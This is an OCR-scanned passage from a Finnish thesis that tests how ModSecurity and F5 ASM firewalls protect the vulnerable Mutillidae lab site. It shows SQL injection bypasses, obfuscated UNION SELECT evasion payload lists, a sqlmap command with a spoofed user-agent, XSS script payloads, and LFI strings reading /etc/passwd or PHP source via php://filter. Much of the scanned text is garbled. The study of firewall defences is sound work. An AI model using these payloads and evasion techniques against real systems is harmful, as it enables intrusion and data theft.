pyynnot pois, jolloin Password-kenttda ei oteta huomioon suorittaessa. Taten tulok-
sena on kaikkien kayttajatietojen listaus, mita SQL-taulu sisaltaa. Kuviossa 25 on osa

kayttajatunnuksista, jotka listattiin hyodyntaen SQL-injektiota.

Muitakin vaihtoehtoisia SQL-injektioita voi kayttaa. Esimerkiksi hyokkaaja voi olettaa,
ettd admin-kayttajatunnus on kaytossa ja ohittaa autentikoinnin kuvion 24 Name-
kentdssa olevan lausekkeen mukaisesti. Tall6in tuloksena saadaan kuitenkin vain

admin-kayttajatunnuksen tiedot.



Please enter username and password
to view account details

Name admin’ - |

Password

[ View Account Details ]

KUVIO 25. Vaihtoehtoinen SQL-injektio

Username=admin
Password=adminpass
Signature=Monkey!

Username=adrian
Password=somepassword
Signature=/ombie Films Rock!

Username=john
Password=monkey
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

KUVIO 26. Tunnuslistaus

46
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Skannaus SQL-injektioita paikantaessa suoritetaan aluksi vain W3af-ohjelmistolla.
Kuviossa 26 on ModSecurityn suojaama web-palvelin ja kuviossa 27 F5 ASM:n suo-

jaama web-palvelin. Molemmissa skannauksissa W3af havaitsee kohteet haavoittu-

viksi.

Scanconfg Log Results |Exploit :
KB Browser URLs Request/Response navigator

Vuin & Info [ Misc SQL injection in a MySQL database was found at: *http:// | I mutillid
ige Base method GET. The sent data was: "usemame=john8212&password=d'z"0&use
: button=View%20Account%20Details&page=user-info.php”. The modified par
sqli (1) vulnerability was found in the request with id 19.
sqli (4)

® @ soL injection vulnerability
& @ sqL injection vulnerability Request | Response

¢ X SQL injection vulnerability Raw Im.

GET http://IEE mutillidae/index.php?username=Johng21
info-php-submit-button=Views20Account%26Details&page=user-inf

KUVIO 27. ModSecurity tarkkailevassa tilassa

&€ sQL injection vulnerability

KBBrowserlums_ st/Response n )
vuln # Info ) Misc SQL injection in a MySQL database was found at: "http://IE. utillidz
edge Base method GET. The sent data was: "username=Jjohn8212&password=d'z"0&use
- button=View%20Account%20Details&page=user-info.php". The modified par
sqli (1) vulnerability was found in the request with id 7.

sqli (4)
& @ SQL injection vulnerability -
i 3
& @ saL injection vulnerability Request Response

| @@ sqL injection vulnerability Raw 'més o

| < ) SQL injection vulnerability = ‘ —
| GET http://HEEEEE".til11idae/index.php?username=John8212

iafa aha sibair MttancilimAaTIBlsravntLIDNAt ail sl nanaciisrne inf

KUVIO 28. F5 ASM tarkkailevassa tilassa
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10.2.2 Cross-Site Scripting (XSS)

Repeater-lomakkeella suoritamme XSS-hyokkayksen, jossa serveri palauttaa kaytta-
jalle vastauksen, joka sisaltaa kayttajan syottamaa koodia. Tallaista hyokkaysta kutsu-
taan ”XSS Reflecter” —hyokkaykseksi (OWASP - Cross-site Scripting (XSS) 2011). Koska
lomakkeen syotekentdn sisaltoa ei tulkita oikein, suorittaa selain sen normaalisti,
eika kasittele sita tekstind kuten pitdisi. Kuviossa 28 on lomakkeelle sybtetty esi-

merkki, jonka tulos on esitetty suorituksen jalkeen kuviossa 29.

[ Please enter string to repeat ]

String to repeat |<script-alert"XSS-haavoittuvuus").</script>

Number of times to repeat |1

[ RepeatSting |

KUVIO 29. XSS-lauseke

K55-haavoittuvuus

KUVIO 30. XSS-haavoittuvuus

Mutillidaessa on loki, johon kirjataan kaikki sivuston tapahtumat. Kun XSS-hyokkays
suoritettiin, tehtiin siitakin merkinta lokiin, joka sisaltada myos kayttdjan syottaman

datan. Lokisivun ollessa myds puutteellinen tietoturvan osalta, ilmenee aikaisemmin
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tehty XSS-hyokkays toistamiseen lokisivulle mentdessa, kun tallennettu XSS-lauseke
suoritetaan automaattisesti uudelleen. Tata kutsutaan ”XSS Persistent” tai ”XSS Sto-

red” —hyokkaykseksi (OWASP - Cross-site Scripting (XSS) 2011). Kuviossa 30 on esi-

tetty lokiin tallennetut tiedot suoraan MySQL-tietokannasta.

ser visited: dns-loockup.php
xecuted operating system command: nslookup

ed: dns-lookup.php

ed: show hp

KUVIO 31. XSS-lauseke MYSQL-tietokannassa

Kuviossa 31 ja 32 on esitettyna W3af-tyokalun skannaustulos edella mainitusta XSS-
haavoittuvuudesta. XSS-haavoittuvuus loytyi syotekenttien lisdksi myos web-sivuston

page-parametrista, jota on testattu kahdella eri XSS-lausekkeella.

~ v x w3af-
Profiles Tools Configuration Help

Scan config Log Results | Exploit

KB Browser URLs Request/Response navigator

® Wuin # Info [ Misc Cross Site Scripting was found at: “http:/ | N/ mutillidae/inde;
t data was: "page=%3CScRIPt%2F XSS%20SrC%3Dhttp%3A%2F %.
Knowledge Base pet) ‘
- ’9 3E". This vulnerability affects ALL browsers. This vulnerability was fot
- XSS
- XSS

Cross site scripting vulne
A Cross site scripting vulner Request | Response
A Cross site scripting vulner

Raw | Headers
A Cross site scripting vulner =
2FAJL7%2FX ., ) s%3E%3C%2FSCRIPTI%3E HTTP/1.1

KUVIO 32. XSS-hyokkdys ModSecurityn ollessa tarkkailevassa tilassa



Scan config Log. Results | Exploit

KB Browser URLs Request/Response navigator

wuin # Info (] Misc Cross Site Scripting was found at: “http:// I mutillidae/index

edge HTTP method POST. The sent post-data was: "times_to_repeat_string:

knowl Base button=Repeat%20String&string_to_repeat=<SCriPT>alert("Rb4z")<,

= XSS was "string_to_repeat”. This vulnerability affects ALL browsers. This v
- XSS with id 29.

A Cross site scripting vulner

SR Ry, Request Response
A Cross site scripting vulner | paw }Iﬂm
A Cross site scripting vulner —————r

Accept-Encoding: gzip
Accept: */*

KUVIO 33. XSS-hyokkays F5 ASM:n ollessa tarkkailevassa tilassa

10.2.3 Local File Inclusion

Mutillidaen sivusto on suunniteltu siten, etta siirryttava sivu valitaan page-
parametria kdyttaen. Kyseinen parametri on haavoittuvainen, koska se kayttaa

S_REQUEST-muuttujaa ilman muita tarkistuksia.

$lPage = $§ _REQUEST['"page"];

Talloin hyokkaaja voi itse valita haluamansa syotteen suoritettavaksi. Page-

parametri muutetaan osoittamaan palvelimella olevaan tiedostoon seuraavasti:

/mutillidae/index.php ?page=/etc/passwd

PosT http:// ~utillidae/index.php?page=repea

Tuloksena saadaan palvelimen kayttojarjestelmassa olevan passwd-tiedoston sisalto,

joka on esiteltyna kuviossa 33. Koska ldhdekoodissa ei ole méaaritelty edes haluttua

tiedostopaatettd, onnistuu eri jarjestelmatiedostojen luku riippuen kayttooikeuksis-

ta.
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@}@ NOWASP (Mutillidae): F

Version: 2.3.10 Security Level: 0 {Hosed) Hints:

Home Login/Register Toggle Hints Toggle Security Reset DB View

rootx:0:0:root/root /bin/bash daemon:x: 1:1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sysx 3:3:sys)
/man:/bin/sh lpx:.7:7:Ip/var/spool/lpd./bin/sh mail:x:8:8.mail/var/mail./bin/sh news x:9:9.news./var/spool/nev
Mwww:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list./bin/sh ir
nobody x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x: 100:101::/var/lib/libuuid:/bin/sh syslog:x:101:10
/modsec:/bin/bash sshd:x:103:65534:/var/run/sshd:/usr/shin/nologin mysqgl:x:104:111:MySQL Server,,,./non

KUVIO 34. /etc/passwd-tiedoston sisaltod

Kuvioissa 34 ja 35 ovat W3af-tyokalun skannaustulokset LFI-haavoittuvuudesta. Kai-

kista skannaustuloksista on nahtavissa yhdenmukaisuus. Koska kaytettavat web-

palvelimet ovat identtiset ja WAF:it eivat esta liikennetta, on tulos odotettu.

S0 conigiitog] Results [Expiol

KB Browser URLs Request/Response navigator

vuln # Info ) Misc Local File Inclusion was found at: *http://| I mutillidae/index.php"
Knowledge was: "page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%
; Base vulnerability was found in the request with id 24.

- localFileinclude
- localFileinclude

¢  Local file inclusion v

& A \ocal file inclusion vu | Request [ Response

Raw | Headers
KUVIO 35. LFI-hyokkays F5 ASM:n ollessa tarkkailevassa tilassa
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Scan config Log Results Exploit
KB Browser URLs Request/Response navigator

# Win & Info ) Misc Local File Inclusion was found at: “http:// R utillidae/index.php”
Knowledge was: "username=Jjohn8212&password=FrAmE30.&user-info-php-submit-but

Pese 20Details&page=/etc/passwd”. The modified parameter was "page”. This vi
= localFileinclude withid 7.

- localFileinclude

¢ Local file inclusion v

42 A Local file inclusion vu | Request | Response
KUVIO 36. LFI-hyokkays ModSecurityn ollessa tarkkailevassa tilassa

10.3 Haavoittuvuudet suojauksen kanssa
10.3.1 Alustus

Seuraavaksi ModSecurity asetetaan estamaan kaikki haitalliseksi havaitsemansa toi-
menpiteet. Tdma onnistuu ModSecurityn asetustiedostosta laittamalla SecRuleEngi-
ne-kohdan tilaan “On”. Asetuksien muutoksien voimaantulo vaatii Apache-web-
palvelimen uudelleenkdynnistyksen. F5 ASM:n tietoturvakaytannosta laitetaan hyok-
kdyksien esto myos paalle. Kaikki hyokkayssivut ovat vastaavat kaikilla tekniikoilla,
mita aikaisemmin on suoritettu ilman suojausta. Osaa tekniikoista kokeillaan ensin

Burp Suitella ja sitten automatisoidummin muulla tyékalulla.

10.3.2 SQl-injektio

SQL-injektiota etsittaessa hyddynnetaan Burp Suite —ohjelmistoa. Burp Suiten intru-
der-toiminnon avulla haluttu tietosisaltd on helppo ldhettaa eteenpain hydkkayksen
kohteena olevalle sivustolle. Lahetettavat hydkkayslausekkeet ovat sotkettu muun

muassa kommenttien ja heksamerkkien avulla. Myos hyokkayslausekkeiden sijoituk-
set on helppo maarittda Burp Suitessa, kuten kuviosta 36 on nahtavissa. Tarkoitus on
lahinna testata, miten WAF:it reagoivat erityylisiin, SQL-injektioilta ndyttaviin tietosi-
saltoihin. Kaytettavat parametrit ovat page, username, password ja user-agent. Li-

saksi injektiolausekkeita sijoitetaan evasteisiin.
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Attack type: | Sniper

GET /mutillidae/index.php?page=Suser—-info.phpsiusername=58&passvord=58§&user-info-php-submit
Host:

User—-Agent: SMozilla/S5.0 (Windows NT £.1; WOWE4; rv:19.0) Gecko/Z0Ll00Ll0Ll Firefox/19.0§
Lecept: text/html, application/xhtml+4xml, application/xml;q=0.9, */*:c=0.8

Aocept-Language: en-US,en;q=0.5

Lecept-Encoding: gzip, deflate

Referer:

heep:// N - illidas/ index.php?page=user-info.phpeusername=cpassword=gcuser—info-:
Cookie: showhints=0; PHPIESSID=SmlOudeES5pltcdSeptSlellEamn s

Connection: keep-alive

KUVIO 37. Hybékkayslausekkeiden sijoitus Burp Suite -ohjelmassa

Kuviossa 37 on esitetty osa tuloksista hyokkayslausekkeiden lahetyksen jalkeen, kun
vastassa on ModSecurity. Kaikki hyokkayslausekkeet estetddan. Ensimmainen pyynto
(nolla) on ei-haitallinen pyynto, jotta saadaan selville palautettavan sivun koko. Taten
on helppo verrata haitallisia pyynt6ja ja pysyyko koko samana, silla tilakoodi ei valt-

tamatta kerro aina koko totuutta.

Request a | Position | Payload | Status | Error | Timeout | Length | Comment
0 200 )] )] 28807 baseline request
1 1 UNION SELECT 1,2,3.4 403 o o 503
2 1 MIUNION®/ SFISELECT*/ 1,2... 403 O O 503
3 1 uNloN sELecT 1,2,3.4 403 O g 503
4 1 SEIUNIOnt) #1SelECH/ 1,2,3,4 403 D] O 503
5 1, UNIunionON SELselectECT ... 403 O O 503
6 1 %SS5nION/M*/%53ElecT 1,2,... 403 (D] (D] 503
7 1 MHlu%6eiont/ fFlse%bcectt/... 403 (D) (D] 503
8 1 +({uNioN)+({sEIECt) 403 ™) (@] 503
9 1 +(Unll{oN)+(SeL)lecT)+ 403 L L 503
10 1 +(uNioN+SeleCTI+ 403 g g 503
11 1 -3333"' AND 1=1 403 O g 503
12 2 UNION SELECT 1,2,3.4 403 O O 503
13 2 MIUNION*/ SFISELECT*/ 1,2... 403 uJ O 503
14 2 uNloN sELecT 1,2,3.4 403 (D] (D] 503
15 2 SEIUNION*/ f#1SelECH/ 1,2,3,4 403 (D) (D) 503

‘5 16 2 UNIunionON SELselectECT ... 403 (™ g 503

KUVIO 38. ModSecuritya kohti lahetetyt hyokkayslausekkeet

Kuviossa 38 on esitetty osa tuloksista hyokkadyslausekkeiden lahetyksen jalkeen, kun
vastassa on F5 ASM. Pyynnot estetdaan lukuun ottamatta user-agent-otsaketta ja
evasteitd. F5 ASM ilmoittaa tilakoodiksi estamisesta huolimatta “200”, joka on "OK".
On kuitenkin helppo todeta, ettd web-palvelin ei laheta alkuperaista sivua, koska
palautetun sivun koko on hyvin pieni. Asian voi vield varmistaa HTTP-vastauksen si-

sallosta.
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F5 ASM sallii estamisesta kertovan sivun muokkaamisen aina ulkoasusta tilakoodin
muuttamiseen. Ei-estettyjen vastauksien koko vaihtelee user-agent-otsaketta testat-

taessa johtuen siita, etta web-sivulla esitetdaan aina kdytettava user-agent tekstimuo-

dossa.

| Request & | Position | Payload | Status | Error | Timeout | Length

‘ 35 4 SIUNION*/ #ISELECT*/ 1,2,3.4 200 O o 336

E 36 4 uNloN sELecT 1,2,3.4 200 o O 336

E 37 4 SUNION*/ f¥ISelECHH/ 1,2,3.4 200 U @ 336

& 38 4 UNIunionON SELselectECT 1,2,3.4 200 =] =] 28608

| 39 4 %55nION/M#+*/%53ElecT 1,2,3.4 200 =) O 336

‘, 40 4 MHlu%Geiont/ fFlse%bececttf 1,2,3,4 200 U U 336
41 4 +(uNioN)+(sEIECt) 200 O O 336
42 4 +(Unl){oN)+({SeLliecTI+ 200 @] @] 336
43 4 +{uNioN+SeleCTI+ 200 O J 336

44 4 -3333' AND 1=1 200 8 O 336

| 45 5 'UNION SELECT 1,2,3.4 | 200 8 (J 28564

|46 5 MIUNION®S FISELECT*/ 1,2,3.4 200 =) J 28590
47 5 ulNloN sELecT 1,2,3.4 200 O O 28564
48 5 SEIUNION*/ f¥ISelECHY/ 1,2,3.4 200 U ] 28590

KUVIO 39. F5 ASM:ia kohti [ahetetyt hybkkéyslausekkeet

Seuraavat skannaukset suoritetaan Sqlmap
-ohjelmistolla. Ohjelman kaytto ei vaadi kayttajalta kuin tarvittavien parametrien
annon hyokkaysta varten. Hyokkaykset suoritetaan seuraavasti seka ModSecuritya

ettd F5 ASM:ia kohti:

/sqlmap.py -u http://xxx.xxx.xxx.xxx/mutillidae/index.php ?page=user-info.php —dbms
mysql --data="username=&password=&user-info-php-submit-button=
View+Account+Details" --threads 10 --user-agent="Mozilla/5.0 (X11; Linux i686;
rv:14.0) Gecko/20100101 Firefox/14.0.1" --level 5 --risk 5 --cookie="
PHPSESSID=paeq4qalkf17sbqi53id73vse6"

Ensimmainen parametri on kohteena oleva sivu (-u). Tietokantatyyppi (--dbms) maa-
ritetdan jo valmiiksi tassa tapauksessa, jotta Sqlmap ei kay lapi kaikkia sen tukemia
injektiolausekkeita eri tietokannoille. Dataksi (--data) maaritetdan lomakkeen para-
metrit. Hyokkayksen nopeuttamiseksi kdytetdan kymmenta sdietta (--threads). User-
agent (--user-agent) maaritetdaan nayttamaan selaimelta, jotta WAF:ien tunnistetie-
tokannat eivat estd Sqlmapia suoraan taman perusteella. Tasolla (--level) kolme Sql-

map testaa myos evasteet ja user-agent-otsakkeen SQL-injektioiden varalta.
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Sen ollessa taydet viisi, yritetdan sql-injektioita 16ytaa viela suuremmilla kuormilla.

Riskitaso (--risk) nostetaan myos mahdollisimman korkeaksi, jolloin SQL-injektioiden
skaala on laajin, mutta myds vaarallisin. Injektiokohdan |6ytyessa tietokantaan saat-
taa tulla muutoksia, joka on ei-toivottua. Taman vuoksi riskitasoa kannattaa kayttaa

harkiten. Evasteet (--cookies) lisatdaan tarkistukseen myos.

KUVIO 40. Blind SQL -injektio

Kuviossa 39 on haavoittuvuusskannauksen tulos, kun web-palvelinta suojaa ModSe-
curity. Tuhansien HTTP-pyyntdjen jalkeen, paikannettiin Blind SQL -injektio. Tdman
seurauksena on mahdollista ladata palvelimella olevat tietokannat. Syyna tahan on,
etta ModSecurity ei oletuksena tutki user-agent-otsaketta. Hyokkayslausekkeita saa-
daan kuitenkin estettya hyvinkin paljon muiden saantojen toimesta, koska ldhetetys-

sa datassa esiintyy muita poikkeavuuksia, joihin ModSecurity osaa reagoida. Kuviossa

40 on Apache-web-palvelimen lokia hyokkayksesta.

KUVIO 41. Apache-web-palvelimen lokia hyokkadyksesta
Kuviossa 41 on esitetty tulokset sen jalkeen, kun user-agent-otsakkeen tarkistus on

laitettu paalle ModSecurityn asetuksista. User-agent-otsaketta ei kyeta hyodyntaa

SQL-injektiossa enaa. Hyokkaysloki on luettavissa liitteessa 4.



56

[09:53:02] [WARNING] User-Agent parameter 'User-Agent' is not injectable

[09:53:02] [CRITICAL] all parameters appear to be not injectable. Also, you can try to
ring or a valid --regexp, refer to the user's manual for details

[09:53:02] [WARNING] HTTP error codes detected during testing:

403 (Forbidden) - 19334 times

[*] shutting down at ©9:53:02

KUVIO 42. User-agent-otsakkeen tarkistus on paalla

Sqlmap ei onnistu I6ytamaan SQL-injektiohaavoittuvuuksia, kun F5 ASM suojaa web-
palvelinta. Kuviossa 41 on esitetty F5 ASM:n lokia tapahtumista. HTTP-pyyntdja koh-

distui F5 ASM:lle kymmenia tuhansia. Sglmap-ohjelman hydkkaysloki on luettavissa

liitteessa 5.

Status | ~ Time Severity + Source IP Response Code Requested URL

= 15:44:27 N/A mTTR) /mutillidae/index php
(= 15:44:27 N/A HTTP] /mutillidaefindex.php
(=] 15:44:27 N/A mTTP] /mutillidae/index.php
(=] 15:44:27 N/A HTTP) /mutillidael/index.php
(=) 15:44:27 N/A HTTP] Imutillidae/index.php
(= 15:44:27 N/A HTTP] /mutillidae/index.php
(= 15:44:27 N/A HTTP) /mutillidae/index.php
(=) 15:44:27 N/A HTTP) /mutillidae/index.php
(=} 15:44:27 N/A mTTP] /mutillidaelindex.php

Export] [Clear Selected| [Clear by Filter] [Clear All

Y

Request Details | HTTP Request i HTTP Response

HTTP Request

GET /mutillidae/index.php?page=user-info.php HTTP/1.1

Accept-Encoding: identity

Accept-Language: en-us.en;q=0.5

Connection: close

Accept text/html, application/xhtmi+xml applicationxml;q=0.9,*/*.q=0.8

User-Agent -9010' IN BOOLEAN MODE) UNION ALL SELECT 1801, 1801, 1801, 1801, 1801, 1801, 1801,
Accept-Charset: ISO-8859-15,uf-8,q=0.7 *,q=0.7

Host NG

Pragma: no-cache

Cache-Control: no-cache, no-store

KUVIO 43. F5 ASM:n lokia SQL-injektiohydkkayksesta
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10.3.3 Cross-Site Scripting (XSS)

XSS-hyokkaysta alustetaan kasin, lahettamalla erilaisia XSS-hyokkayksessa kaytettavia
merkkijonoja web-palvelimelle. Tarkoitus on katsoa, kuinka WAF:it niihin reagoivat.
Aluksi lahdetaan liikkeelle erikoismerkeista, mita XSS-hyokkayksissa kaytetaan. Sitten
jatketaan HTML-tageihin. Mukaan sotketaan my0s heksajarjestelmaa. Kuviossa 43
nahtavissa oleva pyynt6 11 kokeilee, miten WAF reagoi isojen ja pienien kirjaimien
sekoitukseen samassa sanassa. Ja pyynnossa 12 ndhdaan, poistaako WAF kielletyn

HTML-tagin merkkijonon keskelta.

: Request 4 | Payload | Status | Error | Timeout | Length | Comment
| 0 200 O O 29527 haseline request
[1 < 200 @) (] 29527

| 2 ( 200 U O 29527

[3 <img 200 @] (J 29533

| 4 <img src 403 () 8] 503

|5 <script> 403 @) @ 503

|6 alert( 403 0 @ 503

| 7 <hody 200 O U 29535

|8 <body onload 403 O O 503

[9 <test=> 200 O O 29537

| 10 %3cscript¥%3 403 O O 503

11 <ScRiPt> 403 U U 503

|12 <scr<script=ipt> 403 O 0 503

KUVIO 44. ModSecuritylle kohdistuvat XSS-hyokkayslausekkeet

Kuvio 43 on samalla ModSecurityn tulos, jonka perusteella on havaittavissa, etta eri-
koismerkkeja ei pelkastaan esteta. Tassa tapauksessa tilakoodi 200 merkitsee Mod-
Securityn hyvaksyntaa lahetetylle datalle ja 403 estamista. On nahtdvissa, ettd kun
kyseessa on HTML-tagi, se on suljettava tai sen on jatkuttava. Muuten ModSecurity
reagoi siihen. Vaikka pyynnon yhdeksan (9) tagi on suljettu, ei siihen reagoida, koska
sellaista ei ole HTML-kuvauskielessa kaytossa (HTML Reference n.d). Myoskaan se-
koittaessa sanoja isoilla ja pienilla kirjaimilla, ei ole merkitysta havaitsemisen kannal-
ta. Heksajarjestelman kdyton ModSecurity tunnistaa, kuten myos pyynnon 12 HTML-

tagin, joka estetdaan kokonaan.
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Request 4 | Payload | Status | Error | Timeout | Length | Comment
0 200 O O 29933 baseline request
1 < 200 O () 336

2 1 | 200 O O 336

3 <img 200 O O 336

4 <img src 200 O O 336

5 <script= 200 O O 336

6 alert( 200 )] )] 336

7 <body 200 O O 336

3 <body onload 200 O O 336

9 <test> 200 ® () 336

10 %3cscript®%3 200 8] O 336

11 <ScRiPt> 200 O O 336

12 <scr<script=ipt> 200 O O 336

KUVIO 45. F5 ASM:lle kohdistuvat XSS-hyokkayslausekkeet

F5 ASM:n tulos on esitetty kuviossa 44. Kaikki web-palvelinta kohti ldhetetyt merkki-
jonot estetdan. F5 ASM suodattaa kaikki lahetetyt pyynnot suoraan jo lauseissa esiin-

tyvien erikoismerkkien pohjalta.

Ajettaessa XSS-haavoittuvuusskannausta W3af-ohjelmistolla, kohdistetaan XSS-
hyokkays page-, times_to_repeat_string- ja string_to_repeat-parametreihin. Kuvios-
sa 45 on esitetty W3af:n skannaustulos F5 ASM:n suojaamaa web-palvelinta kohti ja
kuviossa 46 on F5 ASM:n lokia hyokkayksista. F5 ASM tunnistaa hyokkayksen tunnis-
tetietokannan pohjalta XSS-hyokkaykseksi, mutta suodattaisi niita myos kiellettyjen

erikoismerkkien vuoksi.

\Vulnerabilities % Information & Error

[(Mon 11 Feb 2013 12:40:45 PM EET] Found 1 URLs and 2 different points of injection.

[Mon 11 Feb 2013 12:40:45 PM EET] The list of URLs is:

[Mon 11 Feb 2013 12:40:45 PM EET] - http.//SEEEEE ™ utillidae/index.php

[Mon 11 Feb 2013 12:40:45 PM EET] The list of fuzzable requests is:

[Mon 11 Feb 2013 12:40:45 PM EET] - http:// M utillidae/index.php | Method: GET | Parameters: (page="repe:
(Mon 11 Feb 2013 12:40:45 PM EET] - http://IEEEEE/mMutillidae/index.php | Method: POST | Parameters: (string_to_n
times_to_repeat_string="")

[Mon 11 Feb 2013 12:40:47 PM EET] Scan finished in 8 seconds.

KUVIO 46. W3af ei loyda XSS-haavoittuvuuksia (F5 ASM)
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|| Status « Time ¢ Severity ¢ SourceIP ¢ Response Code Requested URL

: ol =) 124044 | A . mTIPy /mutillidaeindex php
! @ 12:40:44 NA MTTP] /mutillidaeindex.php
: =) 12:40:44 NIA HTTP] /Imutillidaedindex.php
‘E =) 12:40:44 NIA HTTP] Imutillidaefindex.php
’ (-] 12:40:44 NA HTTP] Imutillidaelindex.php

Signature Name

HTHL entity - &%x .. (Parameter 200001174 Yes Yes

alert() (Parameter) 200001088 Yes Yes
XSS scripttarget (Parameter) 200000095 Yes Yes

j Request Details | HTTP Request HTTP Response

Violations

| Violation Severity
‘ D Atack signature detected @ Error

" @ legal meta character in value [@i Error

KUVIO 47. F5 ASM:n lokia XSS-hyGkkayksests

Kohdistettaessa hyokkays ModSecurityn suojaamalle web-palvelimelle, ovat tulokset
hyvin samankaltaiset, kuten kuviosta 47 on nahtavissa. Kuviossa 48 on Apache-web-
palvelimen lokia, jolloin hydkkays kohdistuu page-parametriin. Kuviossa 49 on Mod-

Securityn audit-lokia, jossa hydkkays on tunnistettu XSS-pohjaiseksi.

[Mon 11 Feb 2013 01:02:10 PM EET] Found 1 URLs and 2 different points of injection.

[Mon 11 Feb 2013 01:02:10 PM EET] The list of URLs is:

[Mon 11 Feb 2013 01:02:10 PM EET] - http:// M utillidae/index.php

[Mon 11 Feb 2013 01:02:10 PM EET] The list of fuzzable requests is:

[Mon 11 Feb 2013 01:02:10 PM EET] - http:/-mutillidaeﬁndex.php | Method: GET | Parameters: (page="re|

[Mon 11 Feb 2013 01:02:10 PM EET] - http:/
times_to_repeat_string="")
[Mon 11 Feb 2013 01:02:13 PM EET] Scan finished in 9 seconds.

mutillidaefindex.php | Method: POST | Parameters: (string_to

KUVIO 48. W3af ei I6yda XSS-haavoittuvuuksia (ModSecurity)
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KUVIO 49. Apache-web-palvelimen lokia hyokkayksesta

KUVIO 50. ModSecurityn lokia XSS-hyokkayksesta
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10.3.4 Local File Inclusion

Local File Inclusion —haavoittuvuutta koetetaan myds loytaa kayttaen W3af-
ohjelmaa. Skannaus kohdistuu username-, password-, ja page-parametreihin. W3af
ei kykene 16ytamaan LFI-haavoittuvuutta ModSecurityn suojaamalta web-
palvelimelta, kuten kuvio 50 havainnollistaa. Kuviossa 51 on nahtavissa page-
parametriin kohdistuvia hyokkayksia Apachen lokista ja kuviossa 52 ModSecurityn

lokia estetysta hyokkayksesta.

w3af -

Tools Configuration Help

D e . R O

Scan config Log Results Exploit

# Wulnerabilities # Information # Error

l[Mon 11 Feb 2013 01:36:41 PM EET] Found 1 URLs and 2 different points of injection.

1[Mon 11 Feb 2013 01:36:41 PM EET] The list of URLSs is:

|[Mon 11 Feb 2013 01:36:41 PM EET] - http.//I  utillidae/index.php

|[Mon 11 Feb 2013 01:36:41 PM EET] The list of fuzzable requests is:

|[Mon 11 Feb 2013 01:36:41 PM EET] - hnp:/;-mutiHidaeiindex.php | Method: GET | Parameters: (page="t
{[Mon 11 Feb 2013 01:36:41 PM EET] - httpy/ /mutillidae/index.php | Method: GET | Parameters: (page="L
password="")

[Mon 11 Feb 2013 01:36:42 PM EET] Scan finished in 4 seconds.

|

KUVIO 51. W3af ei I6yda LFI-haavoittuvuuksia (ModSecurity)

KUVIO 52. Apache-web-palvelimen lokia LFI-hyokkayksesta
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0 F U oA uf["‘ ANJT JIN {Lag / ] 1%ag

KUVIO 53. ModSecurityn lokia estetysta LFI-hyokkayksesta

Tulokset ovat F5 ASM:n suojaaman web-palvelimen osalta hyvin samankaltaiset.
Hyokkays kohdistuu samoihin parametreihin ja tassakin tapauksessa — tuloksetta.
Kuviossa 53 on ndhtavissa W3af:n tulokseton hyokkays ja F5 ASM:n lokia hydkkayk-

sesta kuviossa 54.

A v % w3af -

Profiles Tools Configuration Help

< b,

Scan config | LOg ' Results Exploit

# Vulnerabilities' # Information & Error

[Mon 11 Feb 2013 02:14:56 PM EET] Found 1 URLs and 2 different points of injection.

[Mon 11 Feb 2013 02:14:56 PM EET] The list of URLs is:

[Mon 11 Feb 2013 02:14:56 PM EET] - http:/E  utillidae/index.php

[Mon 11 Feb 2013 02:14:56 PM EET] The list of fuzzable requests is:

[Mon 11 Feb 2013 02:14:56 PM EET] - http://-.'mutnllsdae/index.php | Method: GET | Parameters: (page="u
[Mon 11 Feb 2013 02:14:56 PM EET] - http:// /mutillidae/index.php | Method: GET | Parameters: (page="u
password="")

[Mon 11 Feb 2013 02:14:57 PM EET] Scan finished in 3 seconds.

KUVIO 54. W3af ei |6yda LFI-haavoittuvuuksia (F5 ASM)
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Status - Time | = Sevenity ¢ SourcelP ¢ Response Code Requested URL
(=] 14:14:54 NIA mTTP) ‘mutilfidaeindex.php
1 9 14:14:54 Catical NIA TRy /mutillidaefindex, php
(=] 14:14:54 Cnitical NA mTTP) /mutillidaefindex.php
@ 14:14:54 NA TP imutillidaedindex.php
(=] 14:14:54 NA MRy Imutilidae’index.php
(=] 14:14:54 NA MTTP) ‘mutillidaefindex.php
Context Details for Attack Signature 200003054
Context Parameter
Parameter Level Global

t Wildcard Parameter Name

Actual Parameter Name page

Parameter Value fetcpasswdoxo] php

Detected Keywords page=; fﬂ'passwd:c}éj php

Violation Severity
@ Attack signature detected Error
@ Evasion technique detected Leam| Critical

KUVIO 55. F5 ASM:n lokia LFI-hyokkayksesta

W3af-ohjelman lahettamat hyokkayslausekkeet olivat hyvin samankaltaisia. Taman

vuoksi testataan vield hieman erilaista tekniikkaa hydkkadyksen toteuttamiseksi.
/mutillidae/index.php ?page=php.//filter/convert.base64-encode/resource=index.php

Yll3 oleva lauseke hyodyntaa PHP:sta [6ytyvaa “meta wrapper” —toimintoa. Sen avul-
la dataa voidaan kasitella, ennen kuin se siirretdan seuraavalle funktiolle. (PHP in-
put/output streams 2009.) Haluttu web-sivu asetetaan resource-parametriin. Lau-
sekkeen suorituksen jalkeen index.php-sivu muunnetaan base64-muotoon. Hyokkays

suoritetaan Burp Suite —ohjelmalla.

F5 ASM paikantaa hydkkayksen suoraan tunnistetietokannan perusteella. F5 ASM:n

lokia hyokkayksesta on nahtdvissa kuviossa 55.
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LI? Status ~ Time s Severity s Source IP e Response Code Requested URL
|l_7J o  10:07:04 EE—; mTTP) /mutillidaefindex php
Signature Name Signature ID \
PHP remote file include attempt - filter 200022013

Context | Parameter

Parameter Level | Global

Wildcard Parameter Name £

Actual Parameter Name | page

Parameter Value | php:ifiiter

Detected Keywords | page:

KUVIO 56. F5 ASM estdad muunnellun LFI-hyokkadyksen

ModSecurityn osalta tilanne on erilainen. Kuten kuviosta 56 on nahtavissa, lahetetty
hyokkayslauseke on hyvaksytty ja vastauksena saadaan index.php-sivuston lahde-
koodi base64-koodattuna. Kun aikaisemmin koodattu base64-teksti puretaan, saa-
daan halutun sivuston lahdekoodi selkokielisena. Lahdekoodin sisdlto saattaa paljas-
taa lisda haavoittuvuuksia web-sivustolla, jotka voivat johtaa koko palvelimen hal-
tuunottoon. Lahdekoodi saattaa sisdltda suoraan myos kayttdjatunnuksen ja salasa-
nan tietokantaan. Kuviossa 57 on suoritettu base64-koodauksen purku index.php-

tiedostolle.

Ga Ance - . Target: hitp:/ | NG

m Params ]..Hudw\s ]..Hq:n: 1

